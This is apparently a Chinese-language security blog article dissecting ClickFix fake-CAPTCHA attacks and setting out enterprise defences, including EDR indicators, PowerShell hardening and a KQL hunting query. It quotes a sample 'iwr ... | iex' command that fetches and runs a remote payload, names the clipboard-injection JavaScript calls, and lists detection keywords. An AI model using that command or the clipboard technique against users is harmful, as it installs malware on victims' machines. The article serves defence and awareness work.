Hotdry.

Article

ClickFix社工攻击技术解析与企业防护策略

深度剖析ClickFix攻击链:伪造CAPTCHA诱导用户执行PowerShell命令的技术细节,以及企业级浏览器隔离、终端检测与PowerShell加固的实战防护方案。

2026-05-23security

攻击概述:当人机验证成为攻击入口

ClickFix 是 2024 年初出现、2025 年大规模泛滥的一种社会工程学攻击技术。与传统漏洞利用不同,它完全依赖用户自愿执行恶意命令 —— 攻击者通过伪造 Google reCAPTCHA 或 Cloudflare Turnstile 等人机验证界面,诱导用户将隐藏的 PowerShell 命令粘贴到 Windows 运行对话框中执行。Microsoft Threat Intelligence 数据显示,该技术每天影响全球数千台企业设备,且攻击者正在通过工具包化降低实施门槛,黑客论坛上的 ClickFix 构建器订阅费用仅为每月 200 至 1500 美元。

技术路径拆解:从点击到失陷的完整链条

第一阶段:入口投递

攻击者通过三种主要渠道将用户引导至伪造验证页面:钓鱼邮件(如伪装成美国社保局或 Booking.com 的付款通知)、恶意广告(常见于盗版影视网站的播放按钮)以及被入侵的合法网站(利用 WordPress 漏洞植入重定向代码)。这些入口的共同特点是利用用户已有行为预期 —— 点击 "播放" 或 "查看账单"—— 降低心理防备。

第二阶段:剪贴板劫持

当用户点击伪造的 "我不是机器人" 复选框后,页面 JavaScript 通过navigator.clipboard.writeText()document.execCommand("copy")将恶意命令静默写入系统剪贴板。命令结构经过精心设计:前半部分是实际执行的 PowerShell 下载指令,后半部分附加伪装文本如 "✅ I am not a robot - reCAPTCHA Verification Hash: 328459"。当用户在运行对话框中粘贴时,只能看到无害的验证信息,而恶意代码已在前端执行。

第三阶段:无文件载荷执行

典型命令如powershell -w hidden -c "iwr 'https://malicious.com/payload.ps1' | iex"使用-w hidden隐藏窗口,通过Invoke-WebRequest下载第二阶段载荷,再用Invoke-Expression直接在内存中执行。这种 "无文件" 执行方式绕过传统基于签名的杀毒检测,且常利用 LOLBins(Living Off The Land Binaries)如mshta.exerundll32.exe进行进程注入。

第四阶段:持久化与横向移动

成功执行后,常见载荷包括 Lumma Stealer 信息窃取器(针对浏览器凭证和加密货币钱包)、AsyncRAT/XWorm 远程访问木马,以及 Latrodectus 加载器。部分高级变种还会部署 r77 rootkit 实现深度持久化,并通过计划任务和启动文件夹维持访问权限。

社工心理学:为什么用户会配合攻击

ClickFix 的高成功率源于其对认知偏见的精准利用。首先,界面克隆了用户每日接触的 Google reCAPTCHA 或 Cloudflare Turnstile,利用熟悉感建立信任;其次,错误提示模拟 "Aw, Snap!" 等浏览器崩溃页面,制造需要 "修复" 的紧迫感;最后,指令设计得极为简单 ——"按 Win+R,然后 Ctrl+V"—— 三步操作即可完成攻击,摩擦成本极低。Microsoft 分析指出,攻击者刻意选择运行对话框而非 PowerShell 直接执行,正是因为普通用户对该组件功能不熟悉,更容易被引导。

企业级防护策略

浏览器层隔离与过滤

部署企业托管浏览器(如 Microsoft Edge for Business)并启用 SmartScreen 过滤器,可在用户访问 ClickFix 落地页时显示警告。关键配置包括:启用 "安全链接" 功能在点击时重新检查 URL、阻止 Flash 自动运行、配置数据合规策略限制剪贴板敏感操作。对于高风险场景,考虑禁用 JavaScript 剪贴板 API 或实施浏览器沙箱隔离。

终端检测与响应(EDR)

重点监控以下行为指标:

  • RunMRU 注册表异常:检查HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU中是否包含 PowerShell、MSHTA、Curl 等 LOLBins 命令,特别是带有-w hiddeniwriex参数或 Base64 编码字符串的条目
  • 父子进程关系:监控explorer.exe启动powershell.exewscript.exe的异常链
  • 网络连接模式:识别 PowerShell 进程向.live.shop.icu等可疑顶级域名或直连 IP 发起的 HTTP 请求

Microsoft Defender for Endpoint 已内置 ClickFix 专项检测,包括 "Suspicious command in RunMRU registry" 和 "Behavior:Win32/ClickFix" 等告警类型。

PowerShell 加固配置

实施分层控制以降低攻击面:

  1. 执行策略:通过 Group Policy 将 PowerShell 执行策略设为AllSignedRemoteSigned,确保仅执行受信任签名的脚本
  2. 脚本块日志:启用Script Block Logging记录所有脚本执行内容,便于事后分析混淆或编码命令
  3. 受限语言模式(CLM):对非管理员账户启用 Constrained Language Mode,限制Invoke-Expression等危险 cmdlet 的使用
  4. AMSI 集成:确保反恶意软件扫描接口(AMSI)处于活动状态,提供脚本运行时的实时扫描能力

系统级硬化

  • 禁用运行对话框:通过组策略User Configuration > Administrative Templates > Start Menu and Taskbar > Remove Run menu from Start Menu禁用 Win+R 快捷键,阻断攻击链的关键步骤
  • 应用控制策略:部署 Windows Defender Application Control (WDAC) 或 AppLocker 规则,阻止从运行对话框启动 PowerShell、MSHTA 等二进制文件
  • 终端粘贴警告:配置 Windows Terminal 在用户粘贴多行文本时显示警告,提示潜在的社会工程学攻击

用户安全意识培训

核心教育要点应包括:

  • 任何要求 "按 Win+R 然后粘贴" 的网站都是恶意指标
  • 合法的人机验证系统从不要求用户打开命令提示符或运行对话框
  • 遇到 "验证失败" 提示时,应直接关闭页面并通过官方渠道访问服务,而非点击页面提供的 "修复" 按钮
  • 定期模拟 ClickFix 钓鱼测试,强化识别能力

检测规则示例

以下 KQL 查询可用于 Microsoft Defender XDR 狩猎 ClickFix 活动:

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\\CurrentVersion\\Explorer\\RunMRU"
| where RegistryValueData has_any ("powershell", "mshta", "curl", "iwr", "iex")
| where RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"

总结

ClickFix 攻击代表了社会工程学与无文件技术结合的新趋势 —— 它不利用任何软件漏洞,却能有效绕过多层安全控制。防御的关键在于理解其 "用户自愿执行" 的本质:技术控制(禁用运行对话框、PowerShell 加固)与人员教育(识别伪造验证页面)必须同步实施。随着攻击工具包的商业化普及,企业应将 ClickFix 纳入常规威胁狩猎范围,并在安全运营中心(SOC)建立专门的检测规则与响应流程。


参考来源

  • Microsoft Security Blog: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" (2025-08-21)
  • Splunk Blog: "Beyond The Click: Unveiling Fake CAPTCHA Campaigns"

security

内容声明:本文无广告投放、无付费植入。

如有事实性问题,欢迎发送勘误至 i@hotdrydog.com